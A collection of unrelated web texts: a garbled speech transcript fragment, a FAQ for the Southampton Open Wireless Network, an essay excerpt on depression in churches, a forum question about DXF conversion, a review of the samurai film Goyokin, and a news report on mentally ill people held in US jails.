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I ... the tube in almost every one of our decompress ... moments you're you're taken note you're asking the question is your network with people mean you've ... always been been really interesting and well I Kersley abandoned car was an early adopter of of of computers for school and and the clock ... when she needed to know my first ride began with intestinal those horrible ... a coach from all that he had ... on and I might try very very hard indeed McCollum a creature Monday night and ... the ... I have a cat ... but what it did not have a Martha Stewart glitter puddle right to it he got a cat now you can eat next year I would of been ... I don't know ... that now ... with the cat Neil was a Martha Stewart oh so comfortable and ICS behind ... all we ... have to be on their toes for the fact that the world ... is changing rapidly ... I think the play is the thing ... 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The Southampton Open Wireless Network
What is SOWN?
SOWN (the Southampton Open Wireless Network) is a project which aims to build a free-to-use wireless network in Southampton, UK. It is part of of the Southampton University Wireless Society (SUWS) which is also an Amateur Radio club. Our initial focus has been the University campus and Portswood / Highfield areas since that is where we live and spend most of our time, however anybody is welcome to join in and start setting up additional coverage in their area. Look at our wiki to find out more about SOWN and read our FAQ.
Where is SOWN?
How do I connect to SOWN?
Unfortunately, we can currently only offer Internet access on our access points to staff and students from institutions who are part of the eduroam, "the secure, world-wide roaming access service developed for the international research and education community." We are working on once again being able to provide community (@sown.org.uk) accounts, allowing anyone to sign up and then connect to the Internet through our access points using a new secondary network name (SSID).
How can I get involved with SOWN?
As a first port of call you can either send us a email via our contact us form or join our IRC channel: #sown on irc.sown.org.uk. Look at our wiki to find out more about how to connect to our IRC channel as well as all the activities we get up to.
SOWN hold fortnightly meetings and are looking for more people to become involved so please come and join the fun!
We also hold regular workshops that give the opportunity for everyone to get together and play with the network and wireless kit.
How can I help expand the coverage of SOWN?
You can request to host a SOWN[at]HOME node by filling in a node request. Please be aware that nodes can only be requested by staff/students of the University of Southampton. Due to the University's regulations, students in halls are not permitted to host nodes.
If you already host a node, you can manage its settings through the public node admin system. Using your SOWN admin account. If you have forgotten your SOWN account password, go here to reset it.
Is there any more information available?
Yes, our wiki contains lots of technical information about our network, as well as a FAQ page. You can also view our network topology.


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The church is God's hospital. It has always been full of people on the mend. Jesus himself made a point of inviting the lame, the blind, and the possessed to be healed and to accompany him in his ministry, an invitation often spurned by those who thought they were fine as is. We should not be surprised, then, that the depressed populate not only secular hospitals and clinics, but our churches as well. Yet depression remains both familiar and mysterious to pastors and lay church leaders, not to mention to those who share a pew with depressed persons.
Virtually everyone has experienced a "down" day, often for no clear reason. We might say we "woke up on the wrong side of the bed," are "out of sorts," or just "in a funk." Such polite references are commonplace in America. Yet as familiar as melancholic periods are to us, the depths of a severe depression remain a mystery. We may grasp in part the distress of King David: "Be merciful to me, O Lord, for I am in distress; my eyes grow weak with sorrow, my soul and my body with grief. My life is consumed by anguish and my years by groaning; my strength fails because of my affliction, and my bones grow weak" (Ps. 31:9-10). But most of us have no idea what David meant when he further lamented, "I am forgotten by them as though I were dead" (v.12). Severe depression is often beyond description. And when such deep and painful feelings cannot be explained, they cut to the heart of one's spiritual being.
Humans are intricately complex creatures. When things go wrong in us, they do so in myriad and nuanced ways. If churches want to effectively minister to the whole of fallen humanity, they must reckon with this complexity. ...1


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I tried converting them to illustrator then to dxf with no luck. Maybe I did not use the right option solidowrks opened them as all black and as images even though was a dwg or dxf.
also tried a pdf to dxf converter but the circles came out jagged.
Was hoping to use a router to scribe the dot placement.
Thanks much


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Savant's grown a little leery of Samurai films, as so many have been released in the last four years that the less distinctive ones tend to blend together and clog the memory, like too many donuts. 1 The truly eye-opening swordplay sagas like Harakiri and Samurai Rebellion are few and far between.
A star from both of those films returns in Goyokin, another superior Samurai saga from a few years later. I have to say that I enjoy Tetsuya Nakadai's interpretation in these pictures more than I do Toshiro Mifune -- his suffering is more strongly felt, and when he takes calculated risks we're not as certain that he'll overcome his foes.
Goyokin is a solid bull's eye on all counts. It sets up an intriguing story about conflicting levels of duty and obligation that carry weight beyond feudal Japanese politics. Its Samurai opponents are played by big star talent, serious actors who bring gravity to genre characters usually conceived only in terms of style. It has a number of excellent, motivated action scenes. And it looks terrific, with deeply saturated hues and smartly-designed costumes and settings. Two major scenes take place in difficult locales -- a vast snowfield and a storm-tossed nighttime beach amid bonfires and avalanches of falling logs.
The original massacre has become a legend attributed to an evil spirit. Director Hideo Gosha uses massed crows to represent the 'haunting, to excellent effect. The main characters are soon tied together by their mutual relationship to the political situation that caused the massacre. A local fiefdom can't make its tax payments to the central authority, so they steal some of the central authority's gold, making it look like the shipment was lost at sea. To cover up the crime, the local fishermen forced to help in the operation are then murdered, "for the greater good." Stern soldier Tetsuro Tamba (Tiger Tanaka in You Only Live Twice) thinks this dirty scheme is just another obligation one must perform when sworn to follow orders -- after all, what are a few lives compared to saving the district?
Disillusioned hero Tatsuya Nakadai didn't buy that logic all those years ago and is determined to fight it now. Injustice is injustice and the district chief hasn't the right to rationalize atrocious crimes in the name of the status quo; what he really wants is to retain his personal power. And it doesn't matter if things might be worse if a new government came in. The real crime is represented by Ruriko Asaoka's fallen woman, who returned to the village to be a bride and instead found herself a homeless vagrant, forced to become a cheating gambler. Nakadai's fight for justice is no solitary quest; it wouldn't succeed without loyal helpers like Asaoka to back him up.
Goyokin has a number of terrific set pieces, all framed for maximum dynamic impact by director Hideo Gosha, who appears to have spent most of his early career in the Samurai genre. He's a stylish storyteller. Unlike many progressive Samurai directors of the 70s, he doesn't seem overly influenced by the Spaghetti western ethos. His exciting compositions enhance the story but the characters are the content. When this one is over, everything falls into place, even our emotional state. The only thing that could make us feel better would be if Nakadai walked off into the sunset with the girl. But then it wouldn't be a real Samurai film, would it?
Savant knows the Media Blasters Tokyo Shock DVD line mostly through its recent run of Toho fantasy/Sci Fi pictures 2 but they also put out quality Samurai films like this excellent DVD rendition of Goyokin. The film is said to have been kept out of circulation for many years but the enhanced image is sharp and clean, with rich saturated colors. There are a few nicks and spots at the head of reels, and that's about it. This is Japan's first movie filmed in Panavision and it's interesting to see that American logo come up on screen after Toho's banner. The sleek music score by Masaru Satô (Yojimbo) definitely has a Western feel.
The packaging, menus and other accouterments retain a pleasing Japanese flavor, all except for the main Media Blasters animated logos, which have obnoxious soundtracks that resemble white noise. The removable subtitles are easy to read, with the occasional phrase rendered in an amusing choice of English phrasing, as when Ruriko Asaoka tells some losing dice players, "Sorry, y'all!" Maybe it's the translator's attempt to tell us that the original Japanese track had similar anachronisms.
An exciting original trailer is the only extra.
On a scale of Excellent, Good, Fair, and Poor,
Goyokin rates:
Movie: Excellent
Video: Excellent
Sound: Excellent
Supplements: trailer
Packaging: Keep case
Reviewed: March 8, 2006
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2. All out in a little over a year: The Mysterians, Matango: Attack of the Mushroom People, Space Monster Dogora , Varan the Unbelievable, Atragon and Space Amoeba. Return
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Congress today heard from parents of mentally-ill children, describing long waits for mental healthcare and a shortage of psychiatrists.
The problems have become urgent in the wake of mass killings including those at Newtown, Connecticut and Aurora, Colorado.
With a shortage of mental facilities, jails have become the new asylums.
At Chicago's biggest jail, a mentally ill inmate does a front flip on her bed, refusing medication.
Correctional and medical staff moves in as the inmate struggles and they put their hands on her back, trying to restrain her.
Cook County Sheriff Tom Dart says it's just another day at his jail.
''This is something that happens all the time here and the heart of it is, we're not a mental health facility. These people should not be here,'' said Dart.
Another inmate bursts out of his cell and somersaults over the balcony, trying to break out of a secure area. While another man attempts to break his bed.
"These people by and large are not criminals. They're people with mental illness but when they act out they end up in the jails because it's the only place that'll take them,'' said Dart.
CBS News has obtained records from police departments across the country, many in states that have made budget cuts to mental health care.
U.S. prison woes for mentally ill
Mentally ill and behind bars
Nevada proposes 24-hour mental health center
Police logs in twelve cities revealed that mental health crisis calls have increased an average of 37.5 percent over the last four years.
Los Angeles County Sheriff Lee Baca says more mentally-ill people end up in jail when they're not getting the medications they need.
So why the increase suddenly?
''I believe it is, I think that medication is the stabilizer for most mentally-ill people,'' said Baca. ''The money for that dried up with our California economy going south and when they go off their meds, they go back to the behavior that leads to a law enforcement solution. ''
Kathryn Wooten of Los Angeles called 911 for help when her 23-year-old son Terrence suffered a mental breakdown in October 2011.
''The police came and I thought they were going to take him to the hospital but he wind up in county jail,'' said Wooten.
Police say with few mental health beds available at state facilities, they have no choice but to leave the fate of people like Terrence Wooten to the criminal justice system.
''They have a mental ward in county but he wasn't really getting the counseling and the therapy that he needed,'' said Wooten.
''I'm not a psychiatrist, but the jail has become a hospital, in a de facto way, for the mentally ill. They do commit serious crimes, we don't deny that. What is the remedy, is it purely a criminal justice remedy? I don't think so,'' said Baca.
The Department of Justice says up to 64 percent of inmates at local jails have some mental health problems.
Using that statistic, the two largest jails in the United States, Cook County and LA County would become two of the largest mental institutions in the country - de facto.